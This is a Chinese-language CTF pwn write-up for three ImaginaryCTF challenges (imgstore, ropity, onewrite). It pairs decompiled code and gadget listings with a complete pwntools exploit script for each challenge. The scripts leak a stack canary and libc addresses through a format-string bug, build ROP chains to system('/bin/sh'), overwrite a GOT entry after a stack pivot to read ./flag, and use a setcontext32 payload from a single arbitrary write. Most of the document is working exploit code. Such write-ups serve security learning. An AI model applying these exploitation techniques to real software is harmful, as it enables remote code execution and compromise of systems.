pwn
imgstore
unsigned __int64 sell_book()
{
char v1; // [rsp+7h] [rbp-59h] BYREF
int buf; // [rsp+8h] [rbp-58h] BYREF
int fd; // [rsp+Ch] [rbp-54h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]
v5 = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
close(fd);
buf = (unsigned __int16)buf;
do
{
printf("Enter book title: ");
fgets(s, 50, stdin);
printf("Book title --> ");
printf(s);
puts(&::s);
if ( 334873123 * buf == dword_6050 )
{
dword_608C = 2;
sub_1D77(2);
}
puts("Sorry, we already have the same title as yours in our database; give me another book title.");
printf("Still interested in selling your book? [y/n]: ");
__isoc99_scanf("%1c", &v1);
getchar();
}
while ( v1 == 'y' );
puts(&::s);
printf("%s[-] Exiting program..%s\n", "\x1B[31m", "\x1B[0m");
sleep(1u);
return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 __fastcall sub_1D77(int a1)
{
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
sub_18F2();
if ( a1 == 2 )
{
printf("%s[/] UNDER DEVELOPMENT %s\n", "\x1B[44m", "\x1B[0m");
putchar(62);
fgets(s, 160, stdin);
}
else
{
printf("%s[!] SECURITY BREACH DETECTED%s\n", "\x1B[41m", "\x1B[0m");
puts("[+] BAD HACKER!!");
}
return __readfsqword(0x28u) ^ v3;
}
程序中存在格式化字符串漏洞,和一个栈溢出漏洞,泄露地址后 直接改printf函数的返回地址然后打 rop就好了,就不需要任意地址写两次满足上面的约束,任意地址写的话,直接清空两个位置好像也行,/dev/urandom是真随机数,直接清空的话甚至不需要泄露
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./imgstore')
# libc = elf.libc
libc = ELF('./libc.so.6')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
sla(">>","3")
# elf - canary - stack
payload = b"-%14$p-%17$p-%18$p"
sla("title:",payload)
ru("Book title --> ")
ru('-')
elf_base = int(r(14),16) - (0x63cbb30f52b0 - 0x63cbb30f3000)
ru('-')
canary = int(r(18),16)
ru('-')
printf_addr = int(r(14),16) - (0x7ffdec097dc0 - 0x7ffdec097d38)
sla("Still interested in selling your book? [y/n]","y")
payload = b"-%10$s"
payload = payload.ljust(0x10,b'\x00')
payload += p64(elf_base + elf.got['puts'])
sla("title:",payload)
ru("Book title --> ")
ru('-')
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
sla("Still interested in selling your book? [y/n]","y")
payload = b"%" + str(0xf1).encode() + b"c%10$hhn"
payload = payload.ljust(0x10,b'a')
payload += p64(printf_addr)
sla("title:",payload)
time.sleep(0.3)
rdi = elf_base + 0x0000000000002313
ret = elf_base + 0x000000000000101a
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 0x68 + p64(canary) + b'a' * 0x8
payload += p64(ret) + p64(rdi) + p64(binsh) + p64(system)
sl(payload)
p.interactive()
ropity
.text:0000000000401136 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401136 public main
.text:0000000000401136 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401136
.text:0000000000401136 s= byte ptr -8
.text:0000000000401136
.text:0000000000401136 ; __unwind {
.text:0000000000401136 F3 0F 1E FA endbr64
.text:000000000040113A 55 push rbp
.text:000000000040113B 48 89 E5 mov rbp, rsp
.text:000000000040113E 48 83 EC 10 sub rsp, 10h
.text:0000000000401142 48 8B 15 E7 2E 00 00 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 48 8D 45 F8 lea rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00 mov esi, 100h ; n
.text:0000000000401152 48 89 C7 mov rdi, rax ; s
.text:0000000000401155 E8 E6 FE FF FF call _fgets
.text:0000000000401155
.text:000000000040115A 90 nop
.text:000000000040115B C9 leave
.text:000000000040115C C3 retn
.text:000000000040115C ; } // starts at 401136
.text:000000000040115C
.text:000000000040115C main endp
.text:000000000040115C
.text:000000000040115D
.text:000000000040115D ; =============== S U B R O U T I N E =======================================
.text:000000000040115D
.text:000000000040115D ; Attributes: bp-based frame
.text:000000000040115D
.text:000000000040115D ; signed __int64 __fastcall printfile(const char *, __int64, int)
.text:000000000040115D public printfile
.text:000000000040115D printfile proc near
.text:000000000040115D
.text:000000000040115D var_8= qword ptr -8
.text:000000000040115D
.text:000000000040115D ; __unwind {
.text:000000000040115D F3 0F 1E FA endbr64
.text:0000000000401161 55 push rbp
.text:0000000000401162 48 89 E5 mov rbp, rsp
.text:0000000000401165 48 89 7D F8 mov [rbp+var_8], rdi
.text:0000000000401169 48 C7 C0 02 00 00 00 mov rax, 2
.text:0000000000401170 48 C7 C6 00 00 00 00 mov rsi, 0 ; flags
.text:0000000000401177 0F 05 syscall ; LINUX - sys_open
.text:0000000000401179 48 89 C6 mov rsi, rax ; in_fd
.text:000000000040117C 48 C7 C7 01 00 00 00 mov rdi, 1 ; out_fd
.text:0000000000401183 48 C7 C2 00 00 00 00 mov rdx, 0 ; offset
.text:000000000040118A 49 C7 C0 00 01 00 00 mov r8, 100h
.text:0000000000401191 48 C7 C0 28 00 00 00 mov rax, 28h ; '('
.text:0000000000401198 0F 05 syscall ; LINUX - sys_sendfile
.text:000000000040119A 90 nop
.text:000000000040119B 5D pop rbp
.text:000000000040119C C3 retn
.text:000000000040119C ; } // starts at 40115D
.text:000000000040119C
.text:000000000040119C printfile endp
.text:000000000040119C
真的是很巧妙的构造,main函数中存在一个栈溢出,是fgets函数,然后有一个printfile函数,通过open 和 sendfile将一个文件的内容打印出来,printfile在使用前必须控制rdi寄存器才能printfile成功,由于高版本glibc csu函数变成了动态链接,所以以ret结尾能控制寄存器的gadget寥寥无几,能控制rdi寄存器为我想要的值的gadget基本上没有
lhj@lhj-virtual-machine:~/Desktop/ImaginaryCTF/pwn/ropity$ ROPgadget --binary vuln
Gadgets information
============================================================
0x00000000004010ab : add bh, bh ; loopne 0x401115 ; nop ; ret
0x000000000040116f : add byte ptr [rax - 0x39], cl ; mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401182 : add byte ptr [rax - 0x39], cl ; ret 0
0x0000000000401190 : add byte ptr [rax - 0x39], cl ; shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401180 : add byte ptr [rax], al ; add byte ptr [rax - 0x39], cl ; ret 0
0x000000000040107c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401173 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040111a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040107e : add byte ptr [rax], al ; endbr64 ; ret
0x000000000040118f : add byte ptr [rax], al ; mov rax, 0x28 ; syscall
0x000000000040116e : add byte ptr [rax], al ; mov rsi, 0 ; syscall
0x0000000000401175 : add byte ptr [rax], al ; syscall
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040111b : add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004010aa : add dil, dil ; loopne 0x401115 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040111c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401117 : add eax, 0x2f1b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401159 : call qword ptr [rax + 0xff3c3c9]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401133 : cli ; jmp 0x4010c0
0x0000000000401083 : cli ; ret
0x00000000004011a3 : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401130 : endbr64 ; jmp 0x4010c0
0x0000000000401080 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010a5 : je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e7 : je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401134 : jmp 0x4010c0
0x000000000040100b : jmp 0x4840103f
0x00000000004010ac : jmp rax
0x000000000040115b : leave ; ret
0x00000000004010ad : loopne 0x401115 ; nop ; ret
0x0000000000401172 : mov byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401116 : mov byte ptr [rip + 0x2f1b], 1 ; pop rbp ; ret
0x0000000000401192 : mov eax, 0x28 ; syscall
0x00000000004010a7 : mov edi, 0x404030 ; jmp rax
0x0000000000401171 : mov esi, 0 ; syscall
0x0000000000401191 : mov rax, 0x28 ; syscall
0x0000000000401170 : mov rsi, 0 ; syscall
0x000000000040115a : nop ; leave ; ret
0x000000000040119a : nop ; pop rbp ; ret
0x00000000004010af : nop ; ret
0x000000000040112c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010c0
0x00000000004010a6 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040111d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401185 : ret 0
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401118 : sbb ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401193 : shr byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401194 : sub byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x00000000004011a5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a4 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401177 : syscall
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010a3 : test eax, eax ; je 0x4010b0 ; mov edi, 0x404030 ; jmp rax
0x00000000004010e5 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404030 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
0x00000000004010a8 : xor byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret
Unique gadgets found: 65
但是,细看会发现 fgets的rdi是可控的 因为取栈上的变量这个过程,实际上是通过 rbp - 一个正整数偏移去取的,如果能控制rbp,那 rdi的值就是可控的,如果将fgets的got修改成printfile,然后保证 rbp - 0x8的值是 ./flag字符串的地址,gadget这个问题不就解决了吗。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+8h] [rbp-8h] BYREF
return (unsigned int)fgets(s, 256, _bss_start);
}
.text:0000000000401142 48 8B 15 E7 2E 00 00 mov rdx, cs:__bss_start ; stream
.text:0000000000401149 48 8D 45 F8 lea rax, [rbp+s]
.text:000000000040114D BE 00 01 00 00 mov esi, 100h ; n
.text:0000000000401152 48 89 C7 mov rdi, rax ; s
.text:0000000000401155 E8 E6 FE FF FF call _fgets
首先需要栈迁移把栈迁移到已知 的地址上面的条件才能满足,第一次fgets 将rbp覆盖成 fgets_got + 0x8,然后调用 fgets,由于s的计算是通过rbp - 0x8,所以能直接将fgets_got覆盖,覆盖成printfile,然后再控制rbp,保证rbp - 0x8的值是flag最后调用fgets就好了
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
# libc = ELF('./libc.so.6')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
print_file_func = 0x00000000040115D
fgets_func = 0x000000000401142
fgets_got = 0x404018
payload = b'a' * 0x8
payload += p64(fgets_got + 0x8) # rbp
payload += p64(fgets_func) # rbp - 0x8
sl(payload)
# int __cdecl main(int argc, const char **argv, const char **envp)
# {
# char s[8]; // [rsp+8h] [rbp-8h] BYREF
# return (unsigned int)fgets(s, 256, _bss_start);
# }
payload = p64(print_file_func) # 修改fgets的got为printf_file_func 来控制 rdi
payload += p64(0x404038) # rbp
payload += p64(fgets_func) # 0x404028
payload += b"./flag\x00"
# g(p)
sl(payload)
p.interactive()
onewrite
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *s; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
printf("%p\n> ", &printf);
__isoc99_scanf("%p%*c", &s);
fgets(s, 768, stdin);
puts("bye");
return v6 - __readfsqword(0x28u);
}
有一次任意地址写大量数据的原语,还有libc的地址,看官方wp发现有个叫setcontent32的项目,只需要一次任意地址写的原语和知道libc的基地址,就可以通过这个项目生成payload去getshell https://hackmd.io/@pepsipu/SyqPbk94a
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
libc.address = int(r(14),16) - libc.sym['printf']
dst, payload = setcontext32(libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__())
sl(hex(dst))
sl(payload)
p.interactive()